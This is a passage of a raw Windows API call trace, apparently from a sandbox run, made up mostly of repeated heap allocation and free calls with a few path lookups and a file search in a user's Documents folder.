hHeap=0x5010000) returned 1 [0112.650] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a487e0 [0112.650] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.650] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.650] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a487e0 | out: hHeap=0x5010000) returned 1 [0112.650] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a487e0 [0112.650] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ad3918 [0112.650] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0112.650] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0112.650] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.650] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a487e0 | out: hHeap=0x5010000) returned 1 [0112.650] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a487e0 [0112.650] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.650] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.650] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a487e0 | out: hHeap=0x5010000) returned 1 [0112.650] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a487e0 [0112.650] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0112.650] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.650] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a487e0 | out: hHeap=0x5010000) returned 1 [0112.650] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a487e0 [0112.651] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0112.651] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.651] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a487e0 | out: hHeap=0x5010000) returned 1 [0112.651] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a487e0 [0112.651] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.651] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.651] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a487e0 | out: hHeap=0x5010000) returned 1 [0112.651] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a487e0 [0112.651] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.651] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.651] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a487e0 | out: hHeap=0x5010000) returned 1 [0112.651] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a487e0 [0112.651] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.651] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0112.651] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.651] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.651] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a487e0 | out: hHeap=0x5010000) returned 1 [0112.651] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a487e0 [0112.651] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0112.651] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.651] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a487e0 | out: hHeap=0x5010000) returned 1 [0112.651] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a487e0 [0112.651] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0112.651] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.651] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a487e0 | out: hHeap=0x5010000) returned 1 [0112.651] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a487e0 [0112.651] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.651] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.651] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a487e0 | out: hHeap=0x5010000) returned 1 [0112.651] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a487e0 [0112.652] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.652] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.652] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a487e0 | out: hHeap=0x5010000) returned 1 [0112.652] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a487e0 [0112.652] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.652] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.652] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a487e0 | out: hHeap=0x5010000) returned 1 [0112.652] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a487e0 [0112.652] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.652] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.652] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a487e0 | out: hHeap=0x5010000) returned 1 [0112.652] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a487e0 [0112.652] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.652] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.652] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a487e0 | out: hHeap=0x5010000) returned 1 [0112.652] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a487e0 [0112.652] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.652] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.652] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a487e0 | out: hHeap=0x5010000) returned 1 [0112.652] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a487e0 [0112.652] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.652] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.652] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a487e0 | out: hHeap=0x5010000) returned 1 [0112.652] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a487e0 [0112.652] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ad3918 [0112.652] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0112.652] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0112.652] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.652] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a487e0 | out: hHeap=0x5010000) returned 1 [0112.652] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a487e0 [0112.652] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.652] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.653] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a487e0 | out: hHeap=0x5010000) returned 1 [0112.653] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a487e0 [0112.653] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0112.653] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.653] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a487e0 | out: hHeap=0x5010000) returned 1 [0112.653] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a487e0 [0112.653] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0112.653] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.653] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a487e0 | out: hHeap=0x5010000) returned 1 [0112.653] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a487e0 [0112.653] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.653] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.653] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a487e0 | out: hHeap=0x5010000) returned 1 [0112.653] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a487e0 [0112.653] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.653] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.653] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a487e0 | out: hHeap=0x5010000) returned 1 [0112.653] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a487e0 [0112.653] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.653] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0112.653] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.653] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.653] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a487e0 | out: hHeap=0x5010000) returned 1 [0112.653] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a487e0 [0112.653] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0112.653] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.653] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a487e0 | out: hHeap=0x5010000) returned 1 [0112.653] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a487e0 [0112.653] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.654] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.654] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a487e0 | out: hHeap=0x5010000) returned 1 [0112.654] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a487e0 [0112.654] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.654] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.654] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a487e0 | out: hHeap=0x5010000) returned 1 [0112.654] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a487e0 [0112.654] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.654] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.654] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a487e0 | out: hHeap=0x5010000) returned 1 [0112.654] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a487e0 [0112.654] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.654] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.654] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a487e0 | out: hHeap=0x5010000) returned 1 [0112.654] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a487e0 [0112.654] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.654] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.654] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a487e0 | out: hHeap=0x5010000) returned 1 [0112.654] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a487e0 [0112.654] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music\\") returned="My Music\\" [0112.654] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35bc8 [0112.654] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c2b8 [0112.654] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a487e0 | out: hHeap=0x5010000) returned 1 [0112.654] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0112.654] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1aec8 [0112.654] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c2b8 | out: hHeap=0x5010000) returned 1 [0112.654] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0112.654] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05da0 [0112.654] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35bc8 | out: hHeap=0x5010000) returned 1 [0112.654] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35bc8 [0112.654] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1aec8 | out: hHeap=0x5010000) returned 1 [0112.655] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0112.655] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35bc8 | out: hHeap=0x5010000) returned 1 [0112.655] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.655] PathFindFileNameW (pszPath="") returned="" [0112.655] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a487e0 [0112.655] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7a7ae50, ftCreationTime.dwHighDateTime=0x1d4c677, ftLastAccessTime.dwLowDateTime=0xa27e2390, ftLastAccessTime.dwHighDateTime=0x1d4c661, ftLastWriteTime.dwLowDateTime=0xa27e2390, ftLastWriteTime.dwHighDateTime=0x1d4c661, nFileSizeHigh=0x0, nFileSizeLow=0x43fc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="xIlUh2wKNE.xlsx", cAlternateFileName="XILUH2~1.XLS")) returned 0xffffffff [0112.655] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a487e0 | out: hHeap=0x5010000) returned 1 [0112.655] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05da0 | out: hHeap=0x5010000) returned 1 [0112.655] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a489c0 | out: hHeap=0x5010000) returned 1 [0112.655] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0112.655] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a489c0 [0112.655] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0112.655] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a487e0 [0112.655] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.655] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.655] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a487e0 | out: hHeap=0x5010000) returned 1 [0112.655] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a487e0 [0112.655] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.655] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.655] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a487e0 | out: hHeap=0x5010000) returned 1 [0112.655] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a487e0 [0112.655] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.655] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.655] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a487e0 | out: hHeap=0x5010000) returned 1 [0112.655] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a487e0 [0112.655] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.655] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.655] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a487e0 | out: hHeap=0x5010000) returned 1 [0112.655] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a487e0 [0112.656] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.656] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.656] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a487e0 | out: hHeap=0x5010000) returned 1 [0112.656] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a487e0 [0112.656] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0112.656] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.656] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a487e0 | out: hHeap=0x5010000) returned 1 [0112.656] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a487e0 [0112.656] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.656] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0112.656] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.656] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.656] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a487e0 | out: hHeap=0x5010000) returned 1 [0112.656] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a487e0 [0112.656] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.656] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.656] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a487e0 | out: hHeap=0x5010000) returned 1 [0112.656] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a487e0 [0112.656] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0112.656] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.656] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a487e0 | out: hHeap=0x5010000) returned 1 [0112.656] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a487e0 [0112.656] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0112.656] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.656] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a487e0 | out: hHeap=0x5010000) returned 1 [0112.656] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a487e0 [0112.656] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0112.656] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.656] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a487e0 | out: hHeap=0x5010000) returned 1 [0112.656] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a487e0 [0112.656] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.656] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.656] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a487e0 | out: hHeap=0x5010000) returned 1 [0112.657] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a487e0 [0112.657] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.657] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.657] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a487e0 | out: hHeap=0x5010000) returned 1 [0112.657] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a487e0 [0112.657] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0112.657] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.657] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a487e0 | out: hHeap=0x5010000) returned 1 [0112.657] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a487e0 [0112.657] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0112.657] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.657] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a487e0 | out: hHeap=0x5010000) returned 1 [0112.657] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a487e0 [0112.657] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.657] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.657] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a487e0 | out: hHeap=0x5010000) returned 1 [0112.657] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a487e0 [0112.657] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.657] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.657] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a487e0 | out: hHeap=0x5010000) returned 1 [0112.657] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a487e0 [0112.657] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.657] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.657] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a487e0 | out: hHeap=0x5010000) returned 1 [0112.657] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a487e0 [0112.657] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.657] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.657] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a487e0 | out: hHeap=0x5010000) returned 1 [0112.657] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a487e0 [0112.658] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.658] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.658] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a487e0 | out: hHeap=0x5010000) returned 1 [0112.658] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a487e0 [0112.658] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ad3918 [0112.658] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0112.658] HeapFree (in: hHeap=0x5010000, 